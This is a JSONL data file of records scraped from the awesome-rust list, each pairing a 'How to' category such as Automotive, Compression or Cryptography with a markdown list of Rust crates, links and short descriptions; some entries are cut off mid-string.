{"id": "gh_2b6392214a68", "question": "How to: Automotive", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [idletea/tokio-socketcan](https://github.com/idletea/tokio-socketcan) [[tokio-socketcan](https://crates.io/crates/tokio-socketcan)] - Linux SocketCAN support for tokio based on the socketcan crate\n* [marcelbuesing/tokio-socketcan-bcm](https://github.com/marcelbuesing/tokio-socketcan-bcm) [[tokio-socketcan-bcm](https://crates.io/crates/tokio-socketcan-bcm)] - Linux SocketCAN BCM support for tokio\n* [mbr/socketcan](https://github.com/socketcan-rs/socketcan-rs) [[socketcan](https://crates.io/crates/socketcan)] - Linux SocketCAN library\n* [oxibus/can-dbc](https://github.com/oxibus/can-dbc) [[can-dbc](https://crates.io/crates/can-dbc)] - A parser for the DBC format\n* [Sensirion/lin-bus](https://github.com/Sensirion/lin-bus-rs) [[lin-bus](https://crates.io/crates/lin-bus)] - LIN bus driver traits and protocol implementation [![build badge](https://circleci.com/gh/Sensirion/lin-bus-rs.svg?style=svg)](https://app.circleci.com/pipelines/github/Sensirion/lin-bus-rs)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313187"}
{"id": "gh_66a9c96eb4b2", "question": "How to: Bioinformatics", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [polars-bio](https://github.com/biodatageeks/polars-bio) - Blazing-Fast Bioinformatic Operations on Python DataFrames ![PyPI - Version](https://img.shields.io/pypi/v/polars-bio)\n* [Rust-Bio](https://github.com/rust-bio) - bioinformatics libraries.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313192"}
{"id": "gh_15514e90e0fe", "question": "How to: Command-line", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Argument parsing\n  * [clap-rs](https://github.com/clap-rs/clap) [[clap](https://crates.io/crates/clap)] - A simple to use, full featured command-line argument parser\n  * [cliparser](https://crates.io/crates/cliparser) - Simple command line parser. [![build badge](https://github.com/sagiegurari/cliparser/actions/workflows/ci.yml/badge.svg)](https://github.com/sagiegurari/cliparser/actions)\n  * [docopt/docopt.rs](https://github.com/docopt/docopt.rs) [[docopt](https://crates.io/crates/docopt)] - Implementation of [DocOpt](http://docopt.org)\n  * [google/argh](https://github.com/google/argh) [[argh](https://crates.io/crates/argh)] - An opinionated Derive-based argument parser optimized for code size [![build badge](https://github.com/google/argh/workflows/Argh/badge.svg?branch=master)](https://github.com/google/argh/actions)\n  * [killercup/quicli](https://github.com/killercup/quicli) [[quicli](https://crates.io/crates/quicli)] - quickly build cool CLI apps\n  * [ksk001100/seahorse](https://github.com/ksk001100/seahorse) [[seahorse](https://crates.io/crates/seahorse)] - A minimal CLI framework [![Build status](https://github.com/ksk001100/seahorse/workflows/CI/badge.svg?branch=master)](https://github.com/ksk001100/seahorse/actions)\n  * [TeXitoi/structopt](https://github.com/TeXitoi/structopt) [[structopt](https://crates.io/crates/structopt)] - parse command line argument by defining a struct\n* Data visualization\n  * [nukesor/comfy-table](https://github.com/nukesor/comfy-table) [[comfy-table](https://crates.io/crates/comfy-table)] - Beautiful dynamic tables for your cli tools. [![Build status](https://github.com/Nukesor/comfy-table/workflows/Tests/badge.svg?branch=master)](https://github.com/nukesor/comfy-table/actions)\n  * [zhiburt/tabled](https://github.com/zhiburt/tabled) [[tabled](https://crates.io/crates/tabled)] - An easy to use library for pretty print tables of structs and enums. [![Build Status](https://github.com/zhiburt/tabled/actions/workflows/ci.yml/badge.svg)](https://github.com/zhiburt/tabled/actions)\n* Human-centered design\n  * [rust-cli/human-panic](https://github.com/rust-cli/human-panic) [[human-panic](https://crates.io/crates/human-panic)] - panic messages for humans\n* Line editor\n  * [kkawakam/rustyline](https://github.com/kkawakam/rustyline) [[rustyline](https://crates.io/crates/rustyline)] - readline implementation\n  * [MovingtoMars/liner](https://github.com/MovingtoMars/liner) [[liner](https://crates.io/crates/liner)] - A library offering readline-like functionality\n  * [murarth/linefeed](https://github.com/murarth/linefeed) [[linefeed](https://crates.io/crates/linefeed)] - Configurable, extensible, interactive line reader\n  * [srijs/rust-copperline](https://github.com/srijs/rust-copperline) [[copperline](https://crates.io/crates/copperline)] - command line editing library\n* Other\n  * [mgrachev/update-informer](https://github.com/mgrachev/update-informer) [[update-informer](https://crates.io/crates/update-informer)] - Update informer for CLI applications. It checks for a new version on Crates.io and GitHub [![build badge](https://github.com/mgrachev/update-informer/workflows/CI/badge.svg)](https://github.com/mgrachev/update-informer/actions)\n* Pipeline\n  * [hniksic/rust-subprocess](https://github.com/hniksic/rust-subprocess) [[subprocess](https://crates.io/crates/subprocess)] - facilities for interaction with external pipelines\n  * [imp/pager-rs](https://gitlab.com/imp/pager-rs) [[pager](https://crates.io/crates/pager)] - pipe your output through an external pager\n  * [oconnor663/duct.rs](https://github.com/oconnor663/duct.rs) [[duct](https://crates.io/crates/duct)] - A builder for subprocess pipelines and IO redirection\n  * [rust-cli/rexpect](https://github.com/rust-cli/rexpect) [[rexpect](https://crates.io/crates/rexpect)] - automate interactive applications such as ssh, ftp, passwd, etc [![CI](https://github.com/rust-cli/rexpect/actions/workflows/ci.yml/badge.svg)](https://github.com/rust-cli/rexpect/actions/workflows/ci.yml)\n  * [zhiburt/expectrl](https://github.com/zhiburt/expectrl) [[expectrl](https://crates.io/crates/expectrl)] - A library for controlling interactive programs in a pseudo-terminal [![build badge](https://github.com/zhiburt/expectrl/actions/workflows/ci.yml/badge.svg)](https://github.com/zhiburt/expectrl/actions/workflows/ci.yml)\n* Progress\n  * [a8m/pb](https://github.com/a8m/pb) [[pbr](https://crates.io/crates/pbr)] - console progress bar\n  * [clitic/kdam](https://github.com/clitic/kdam) [[kdam](https://crates.io/crates/kdam)] - A console progress bar library inspired by tqdm & rich.progress [![CI](https://github.com/clitic/kdam/actions/workflows/tests.yml/badge.svg)](https://github.com/clitic/kdam/actions/workflows/tests.yml)\n  * [console-rs/indicatif](https://github.com/console-rs/indicatif) [[indicatif](https://crates.io/crates/indicatif)] - indicate progress to users\n  * [etienne-napoleone/spinach](https://github.com/etienne-napoleone/spinach) [[spinach](https://", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": true, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313211"}
{"id": "gh_37706844487f", "question": "How to: Compression", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [7z](https://7-zip.org/7z.html)\n  * [[sevenz-rust](https://crates.io/crates/sevenz-rust)] - A 7z decompressor/compressor written in pure rust.\n* [Brotli](https://opensource.googleblog.com/2015/09/introducing-brotli-new-compression.html)\n  * [dropbox/rust-brotli](https://github.com/dropbox/rust-brotli) - Brotli decompressor that optionally avoids the stdlib\n  * [ende76/brotli-rs](https://github.com/ende76/brotli-rs) - implementation of Brotli compression\n* bzip2\n  * [trifectatechfoundation/bzip2-rs](https://github.com/trifectatechfoundation/bzip2-rs) - [libbz2](https://www.sourceware.org/bzip2/) bindings\n* gzip\n  * [zopfli](https://github.com/zopfli-rs/zopfli) [[zopfli](https://crates.io/crates/zopfli)] - implementation of the Zopfli compression algorithm for higher quality deflate or zlib compression\n* gzp\n  * [sstadick/gzp](https://github.com/sstadick/gzp/) - multi-threaded encoding and decoding of deflate formats and snappy\n* miniz\n  * [rust-lang/flate2-rs](https://github.com/rust-lang/flate2-rs) - [miniz](https://code.google.com/archive/p/miniz) bindings [![build badge](https://github.com/rust-lang/flate2-rs/workflows/CI/badge.svg?branch=master)](https://github.com/rust-lang/flate2-rs/actions)\n* [paxit](https://github.com/roquess/paxit) [[paxit](https://crates.io/crates/paxit)] - Flexible library for compressing and decompressing files using various algorithms (zip, tar, gzip, xz, zst, etc.) with modular design for easy extension\n* tar\n  * [alexcrichton/tar-rs](https://github.com/alexcrichton/tar-rs) - tar archive reading/writing\n* zip\n  * [zip-rs/zip2](https://github.com/zip-rs/zip2) [[zip](https://crates.io/crates/zip)] - read and write  ZIP archives\n* zstd\n  * [gyscos/zstd-rs](https://github.com/gyscos/zstd-rs) - rust binding for the zstd compression library", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313219"}
{"id": "gh_076a316c44e6", "question": "How to: Computation", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [argmin-rs/argmin](https://github.com/argmin-rs/argmin) [[argmin](https://crates.io/crates/argmin)] - Optimization library\n* [BLAS](https://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms) [[blas](https://crates.io/keywords/blas)]\n  * [mikkyang/rust-blas](https://github.com/mikkyang/rust-blas) - BLAS bindings\n* [calebwin/emu](https://github.com/calebwin/emu) - A language for GPGPU numerical computing\n* [dimforge/nalgebra](https://github.com/dimforge/nalgebra) - low-dimensional linear algebra library\n* [faer-rs](https://github.com/sarah-quinones/faer-rs) [[faer](https://crates.io/crates/faer)] - Linear algebra foundation for Rust\n* [fastnum](https://github.com/neogenie/fastnum) [fastnum](https://crates.io/crates/fastnum) - Fast exact precision decimal numbers implemented in pure Rust. Suitable for financial, crypto and any other fixed-precision calculations.\n* [GSL](http://www.gnu.org/software/gsl/)\n  * [GuillaumeGomez/rust-GSL](https://github.com/GuillaumeGomez/rust-GSL) - GSL bindings\n* [LAPACK](https://en.wikipedia.org/wiki/LAPACK)\n  * [stainless-steel/lapack](https://github.com/blas-lapack-rs/lapack) - LAPACK bindings\n* Parallel\n  * [arrayfire/arrayfire-rust](https://github.com/arrayfire/arrayfire-rust) - [Arrayfire](https://github.com/arrayfire) bindings\n  * [autumnai/collenchyma](https://github.com/autumnai/collenchyma) - An extensible, pluggable, backend-agnostic framework for parallel, high-performance computations on CUDA, OpenCL and common host CPU.\n  * [luqmana/rust-opencl](https://github.com/luqmana/rust-opencl) - [OpenCL](https://www.khronos.org/opencl/) bindings\n* Science\n  * [Axect/Peroxide](https://github.com/Axect/Peroxide) - Rust numeric library containing linear algebra, numerical analysis, statistics and machine learning tools in pure rust\n  * [cpmech/russell](https://github.com/cpmech/russell) - Rust Scientific Library for numerical mathematics, ordinary differential equations, special math functions, high-performance (sparse) linear algebra\n  * [Nonanti/mathcore](https://github.com/Nonanti/mathcore) - Symbolic mathematics library with CAS capabilities. Supports differentiation, integration, equation solving, and arbitrary precision arithmetic [![crates.io](https://img.shields.io/crates/v/mathcore.svg)](https://crates.io/crates/mathcore)\n  * [Ryan-D-Gast/differential-equations](https://github.com/Ryan-D-Gast/differential-equations) - A high-performance library for numerically solving differential equations\n* Statrs\n  * [statrs-dev/statrs](https://github.com/statrs-dev/statrs) - Robust statistical computation library", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313227"}
{"id": "gh_848500ce0b54", "question": "How to: Concurrency", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [crossbeam-rs/crossbeam](https://github.com/crossbeam-rs/crossbeam) - Support for parallelism and low-level concurrency\n* [NikitaSmithTheOne/rate-limiters-rs](https://github.com/NikitaSmithTheOne/rate-limiters-rs) [[rate-limiters](https://crates.io/crates/rate_limiters)] - Rust library for rate limiting (Leaky Bucket, Token Bucket, Fixed/Sliding Window)\n* [orium/archery](https://github.com/orium/archery) [[archery](https://crates.io/crates/archery)] - Library to abstract from `Rc`/`Arc` pointer types. [![build badge](https://github.com/orium/archery/workflows/CI/badge.svg)](https://github.com/orium/archery/actions?query=workflow%3ACI)\n* [orx-parallel](https://crates.io/crates/orx-parallel) - High performance, configurable and expressive parallel computation library.\n* [Rayon](https://github.com/rayon-rs/rayon) - A data parallelism library\n* [rustcc/coroutine-rs](https://github.com/rustcc/coroutine-rs) - Coroutine Library\n* [zonyitoo/coio-rs](https://github.com/zonyitoo/coio-rs) - Coroutine I/O", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313233"}
{"id": "gh_f45a228ec3d4", "question": "How to: Configuration", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [andoriyu/uclicious](https://github.com/andoriyu/uclicious) [[uclicious](https://crates.io/crates/uclicious)] - [libUCL](https://github.com/vstakhov/libucl) based feature-rich configuration library. [![CircleCI](https://circleci.com/gh/vstakhov/libucl.svg?style=svg)](https://app.circleci.com/pipelines/github/vstakhov/libucl)\n* [Kixunil/configure_me](https://github.com/Kixunil/configure_me) [[configure_me](https://crates.io/crates/configure_me)] - library for processing application configuration easily\n* [leptonyu/cfg-rs](https://github.com/leptonyu/cfg-rs) [[cfg-rs](https://crates.io/crates/cfg-rs)] - A Configuration Library for Rust Applications.\n* [rust-cli/config-rs](https://github.com/rust-cli/config-rs) [[config](https://crates.io/crates/config)] - Layered configuration system (with strong support for 12-factor applications).\n* [SergioBenitez/Figment](https://github.com/SergioBenitez/Figment) [[figment](https://crates.io/crates/figment)] - A configuration library so con-free, it's unreal.\n* [softprops/envy](https://github.com/softprops/envy) - deserialize env vars into typesafe structs [![Main](https://github.com/softprops/envy/actions/workflows/main.yml/badge.svg)](https://github.com/softprops/envy/actions/workflows/main.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313239"}
{"id": "gh_1b0a1415a848", "question": "How to: Cryptography", "question_body": "About rust-unofficial/awesome-rust", "answer": "[[crypto](https://crates.io/keywords/crypto), [cryptography](https://crates.io/keywords/cryptography)]\n\n* [arkworks-rs/circom-compat](https://github.com/arkworks-rs/circom-compat) - Arkworks bindings to Circom's R1CS, for Groth16 Proof and Witness generation.\n* [briansmith/ring](https://github.com/briansmith/ring) - Safe, fast, small crypto using Rust and BoringSSL's cryptography primitives.\n* [briansmith/webpki](https://github.com/briansmith/webpki) - Web PKI TLS X.509 certificate validation.\n* [conradkleinespel/rooster](https://github.com/conradkleinespel/rooster) [[rooster](https://crates.io/crates/rooster)] - Simple password manager to use in your terminal\n* [cossacklabs/themis](https://github.com/cossacklabs/themis) [[themis](https://crates.io/crates/themis)] - a high-level cryptographic library for solving typical data security tasks, best fit for multi-platform apps. [![build badge](https://circleci.com/gh/cossacklabs/themis/tree/master.svg?style=shield)](https://app.circleci.com/pipelines/github/cossacklabs/themis)\n* [DaGenix/rust-crypto](https://github.com/DaGenix/rust-crypto) - cryptographic algorithms\n* [dalek-cryptography/curve25519-dalek](https://github.com/dalek-cryptography/curve25519-dalek) - Curve25519 operations\n* [dalek-cryptography/ed25519-dalek](https://github.com/dalek-cryptography/ed25519-dalek) - Ed25519 digital signatures\n* [dalek-cryptography/x25519-dalek](https://github.com/dalek-cryptography/x25519-dalek) - X25519 key exchange\n* [debris/tiny-keccak](https://github.com/debris/tiny-keccak) - Keccak family (SHA3)\n* [dusk-network/bls12-381](https://github.com/dusk-network/bls12_381) - A Rust-native BLS12-381 with enhancements for zk performance: optimized multi-scalar multiplication, custom hashing, and serde support—ideal for privacy-focused protocols and zero-knowledge applications. ![Build Status](https://github.com/dusk-network/bls12_381/workflows/Continuous%20integration/badge.svg) [[dusk-bls12_381](https://crates.io/crates/dusk-bls12_381)]\n* [dusk-network/plonk](https://github.com/dusk-network/plonk/) - A high-performance, Rust-native implementation of the PLONK zk-SNARK over BLS12-381, optimized with custom gates and KZG10 polynomial commitment for efficient zero-knowledge proofs. ![Build Status](https://github.com/dusk-network/plonk/workflows/Continuous%20integration/badge.svg) [[PLONK](https://crates.io/crates/dusk-plonk)]\n* [dusk-network/poseidon252](https://github.com/dusk-network/Poseidon252) - A Rust-native Poseidon hash over BLS12-381, Poseidon252 is built for zk-SNARK efficiency, ideal for privacy-focused protocols and zero-knowledge applications. ![Build Status](https://github.com/dusk-network/Poseidon252/workflows/Continuous%20integration/badge.svg) [[Poseidon](https://crates.io/crates/dusk-poseidon)]\n* [exonum/exonum](https://github.com/exonum/exonum) [[exonum](https://crates.io/crates/exonum)] - extensible framework for blockchain projects\n* [facebook/opaque-ke](https://github.com/facebook/opaque-ke) - Implementation of the recent [OPAQUE](https://datatracker.ietf.org/doc/draft-krawczyk-cfrg-opaque/) password-authenticated key exchange. [![build badge](https://github.com/facebook/opaque-ke/workflows/Rust%20CI/badge.svg?branch=master)](https://github.com/facebook/opaque-ke)\n* [iddm/randomorg](https://github.com/iddm/randomorg) - A random.org client library. [![Crates badge](https://img.shields.io/crates/v/randomorg.svg)](https://crates.io/crates/randomorg)\n* [klutzy/suruga](https://github.com/klutzy/suruga) - Implementation of [TLS 1.2](https://datatracker.ietf.org/doc/html/rfc5246)\n* [kn0sys/ecc-rs](https://github.com/kn0sys/ecc-rs) - Intuitive library for elliptic curve cryptography tutorials [![Crates.io Version](https://img.shields.io/crates/v/kn0syseccrs)](https://crates.io/crates/kn0syseccrs)\n* [kornelski/rust-security-framework](https://github.com/kornelski/rust-security-framework) - Bindings for Security Framework (OSX native)\n* [libOctavo/octavo](https://github.com/libOctavo/octavo) - Modular hash and crypto library\n* [orion-rs/orion](https://github.com/orion-rs/orion) - This library aims to provide easy and usable crypto. 'Usable' meaning exposing high-level API's that are easy to use and hard to misuse. [![Tests](https://github.com/orion-rs/orion/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/orion-rs/orion/actions/workflows/test.yml)\n* [racum/rust-djangohashers](https://github.com/racum/rust-djangohashers) [[djangohashers](https://crates.io/crates/djangohashers)] - Port of the password primitives used in the Django Project. It doesn't require Django, only hashes and validates passwords according to its style.\n* [rust-openssl](https://github.com/rust-openssl/rust-openssl) - [OpenSSL](https://www.openssl.org/) bindings\n* [RustCrypto/hashes](https://github.com/RustCrypto/hashes) - Collection of cryptographic hash functions\n* [rustls/rustls](https://github.com/rustls/rustls) - Implementation of TLS\n* [sfackler/rust-native-tls](https:", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313254"}
{"id": "gh_2d264f33be20", "question": "How to: Data processing", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [amv-dev/yata](https://github.com/amv-dev/yata) - high performance technical analysis library [![Build Status](https://img.shields.io/github/workflow/status/amv-dev/yata/Rust?branch=master)](https://github.com/amv-dev/yata/actions?query=workflow%3ARust)\n* [bluss/ndarray](https://github.com/rust-ndarray/ndarray) - N-dimensional array with array views, multidimensional slicing, and efficient operations\n* [cocoindex](https://github.com/cocoindex-io/cocoindex) - ETL framework to build fresh index\n* [datafusion](https://github.com/apache/datafusion) - DataFusion is a very fast, extensible query engine for building high-quality data-centric systems in Rust, using the Apache Arrow in-memory format.\n* [GoPlasmatic/datalogic-rs](https://github.com/GoPlasmatic/datalogic-rs) [[datalogic-rs](https://crates.io/crates/datalogic-rs)] - High-performance, type-safe JSONLogic evaluation engine in Rust, ideal for business rules and dynamic filtering.\n* [kernelmachine/utah](https://github.com/kernelmachine/utah) - Dataframe structure and operations\n* [pathwaycom/pathway](https://github.com/pathwaycom/pathway) - Performant open-source Python ETL framework with Rust runtime, supporting 300+ data sources.\n* [pg_analytics](https://github.com/paradedb/paradedb/tree/dev/pg_analytics) - PostgreSQL extension that accelerates analytical query processing inside Postgres to a performance level comparable to dedicated OLAP databases.\n* [pg_lakehouse](https://github.com/paradedb/paradedb/tree/dev/pg_lakehouse) - PostgreSQL extension that transforms Postgres into an analytical query engine over object stores like AWS S3/GCS and table formats like Delta Lake/Iceberg.\n* [pola-rs/polars](https://github.com/pola-rs/polars) - Fast feature complete DataFrame library [![Lint Rust](https://github.com/pola-rs/polars/actions/workflows/lint-rust.yml/badge.svg)](https://github.com/pola-rs/polars/actions)\n* [weld-project/weld](https://github.com/weld-project/weld) - High-performance runtime for data analytics applications", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313262"}
{"id": "gh_0c60657a13d4", "question": "How to: Data streaming", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [arkflow-rs/arkflow](https://github.com/arkflow-rs/arkflow) - High-performance Rust stream processing engine [![CI](https://github.com/arkflow-rs/arkflow/actions/workflows/rust.yml/badge.svg?branch=main)](https://github.com/arkflow-rs/arkflow/actions)\n* [ArroyoSystems/arroyo](https://github.com/ArroyoSystems/arroyo) - High-performance real-time analytics in Rust and SQL [![CI](https://github.com/ArroyoSystems/arroyo/actions/workflows/ci.yml/badge.svg?branch=master)](https://github.com/ArroyoSystems/arroyo/actions)\n* [fluvio](https://github.com/fluvio-community/fluvio) - Programmable data streaming platform [![CI](https://github.com/fluvio-community/fluvio/actions/workflows/ci.yml/badge.svg)](https://github.com/fluvio-community/fluvio/actions)\n* [iggy](https://github.com/apache/iggy) [[iggy](https://crates.io/crates/iggy)] - Persistent message streaming platform, supporting QUIC, TCP and HTTP transport protocols [![CI](https://github.com/apache/iggy/actions/workflows/test.yml/badge.svg)](https://github.com/apache/iggy/actions/workflows/test.yml)\n* [wingfoil](https://github.com/wingfoil-io/wingfoil) - Graph based stream processing framework [![CI](https://github.com/wingfoil-io/wingfoil/actions/workflows/rust.yml/badge.svg)](https://github.com/wingfoil-io/wingfoil/actions/workflows/rust.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313267"}
{"id": "gh_9949f47ef32a", "question": "How to: Data structures", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [ashvardanian/simsimd](https://github.com/ashvardanian/SimSIMD) - SIMD-accelerated vector distances and similarity functions for x86 AVX2 & AVX-512, and Arm NEON [![crates.io](https://img.shields.io/crates/v/simsimd.svg)](https://crates.io/crates/simsimd)\n* [becheran/grid](https://github.com/becheran/grid) [[grid](https://crates.io/crates/grid)] - Provide a two dimensional data structure that is easy to use and fast. [![build status](https://github.com/becheran/grid/actions/workflows/rust.yml/badge.svg)](https://github.com/becheran/grid/actions)\n* [bilinearlabs/rs-merkle-tree](https://github.com/bilinearlabs/rs-merkle-tree/) - Merkle tree implementation in Rust with configurable storage backends and hash functions. Fixed depth and incremental only. Optimized for fast proof generation.\n* [billyevans/tst](https://github.com/billyevans/tst) [[tst](https://crates.io/crates/tst)] - Ternary search tree collection\n* [contain-rs](https://github.com/contain-rs) - Extension of Rust's std::collections\n* [danielpclark/array_tool](https://github.com/danielpclark/array_tool) - Array helpers. Some of the most common methods you would use on Arrays made available on Vectors. Polymorphic implementations for handling most of your use cases.\n* [enum-map](https://codeberg.org/sugar700/enum-map) [[enum-map](https://crates.io/crates/enum-map)] - An optimized map implementation for enums using an array to store values.\n* [fizyk20/generic-array](https://github.com/fizyk20/generic-array) - a hack to allow for arrays sized by typenums\n* [garro95/priority-queue](https://github.com/garro95/priority-queue)[[priority-queue](https://crates.io/crates/priority-queue)] - A priority queue that implements priority changes.\n* [greyblake/nutype](https://github.com/greyblake/nutype) [[nutype](https://crates.io/crates/nutype)] - define newtype structures with validation constraints. [![build status](https://github.com/greyblake/nutype/actions/workflows/ci.yml/badge.svg)](https://github.com/greyblake/nutype/actions)\n* [mrhooray/kdtree-rs](https://github.com/mrhooray/kdtree-rs) - K-dimensional tree for fast geospatial indexing and nearest neighbors lookup\n* [orium/rpds](https://github.com/orium/rpds) [[rpds](https://crates.io/crates/rpds)] - Persistent data structures. [![build badge](https://github.com/orium/rpds/workflows/CI/badge.svg)](https://github.com/orium/rpds/actions?query=workflow%3ACI)\n* [RoaringBitmap/roaring-rs](https://github.com/RoaringBitmap/roaring-rs) - Roaring Bitmaps\n* [rust-itertools/itertools](https://github.com/rust-itertools/itertools) - Extra iterator adaptors, functions and macros\n* [tnballo/scapegoat](https://github.com/tnballo/scapegoat) [[scapegoat](https://crates.io/crates/scapegoat)] - Safe, fallible, stack-only alternative to `BTreeSet` and `BTreeMap`. [![GitHub Actions](https://github.com/tnballo/scapegoat/workflows/test/badge.svg?branch=master)](https://github.com/tnballo/scapegoat/actions)\n* [yamafaktory/hypergraph](https://github.com/yamafaktory/hypergraph) [[hypergraph](https://crates.io/crates/hypergraph)] - Hypergraph is a data structure library to generate directed hypergraphs. [![ci](https://github.com/yamafaktory/hypergraph/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/yamafaktory/hypergraph/actions/workflows/ci.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313276"}
{"id": "gh_d1e3eb8fe829", "question": "How to: Data visualization", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [blitzarx1/egui_graphs](https://github.com/blitzarx1/egui_graphs) [[egui_graphs](https://crates.io/crates/egui_graphs)] - Interactive graph visualization widget powered by egui and petgraph. [![Crates.io](https://img.shields.io/crates/v/egui_graphs)](https://crates.io/crates/egui_graphs) [![docs.rs](https://img.shields.io/docsrs/egui_graphs)](https://docs.rs/egui_graphs)\n* [djduque/pgfplots](https://github.com/djduque/pgfplots) [[pgfplots](https://crates.io/crates/pgfplots)] - Library to generate publication-quality figures. [![build](https://github.com/DJDuque/pgfplots/actions/workflows/rust.yml/badge.svg)](https://github.com/DJDuque/pgfplots/actions/workflows/rust.yml)\n* [mazznoer/colorgrad-rs](https://github.com/mazznoer/colorgrad-rs) [[colorgrad](https://crates.io/crates/colorgrad)] - Color scales library for data visualization, charts, games, maps, generative art and others.\n* [milliams/plotlib](https://github.com/milliams/plotlib) - Data plotting library for Rust\n* [plotly](https://github.com/plotly/plotly.rs) - Plotly for Rust\n* [plotpy](https://github.com/cpmech/plotpy) [[plotpy](https://crates.io/crates/plotpy)] - Rust plotting library using Python (Matplotlib)\n* [plotters](https://github.com/plotters-rs/plotters) - [![build badge](https://github.com/plotters-rs/plotters/workflows/CI/badge.svg)](https://github.com/plotters-rs/plotters/actions)\n* [rerun](https://github.com/rerun-io/rerun) - [[rerun](https://crates.io/crates/rerun)] - An SDK for logging computer vision and robotics data (tensors, point clouds, etc) paired with a visualizer for exploring that data over time.\n* [saresend/gust](https://github.com/saresend/Gust) - A small charting/visualization tool and partial vega implementation", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313282"}
{"id": "gh_fc5be6a02154", "question": "How to: Date and time", "question_body": "About rust-unofficial/awesome-rust", "answer": "[[date](https://crates.io/keywords/date), [time](https://crates.io/keywords/time)]\n\n* [arthurhenrique/rusti-cal](https://github.com/arthurhenrique/rusti-cal) [[rusti-cal](https://crates.io/crates/rusti-cal)] - A cal(1) clone lightning-fast ~ more than 9999 years ~ Written in Rust.\n* [burntSushi/jiff](https://github.com/BurntSushi/jiff) - A date-time library for Rust that encourages you to jump into the pit of success. [![Build status](https://github.com/BurntSushi/jiff/workflows/ci/badge.svg)](https://github.com/BurntSushi/jiff/actions)\n* [chronotope/chrono](https://github.com/chronotope/chrono) - Date and time library\n* [Mnwa/ms](https://github.com/Mnwa/ms) [[ms-converter](https://crates.io/crates/ms-converter)] - it's a library for converting human-like times to milliseconds [![build badge](https://github.com/Mnwa/ms/workflows/build/badge.svg?branch=master)](https://github.com/Mnwa/ms/actions?query=workflow%3Abuild)\n* [sorairolake/nt-time](https://github.com/sorairolake/nt-time) [[nt-time](https://crates.io/crates/nt-time)] - A Windows file time library. [![CI](https://github.com/sorairolake/nt-time/workflows/CI/badge.svg?branch=develop)](https://github.com/sorairolake/nt-time/actions?query=workflow%3ACI)\n* [time-rs/time](https://github.com/time-rs/time) - [![build badge](https://github.com/time-rs/time/workflows/Build/badge.svg)](https://github.com/time-rs/time/actions)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313305"}
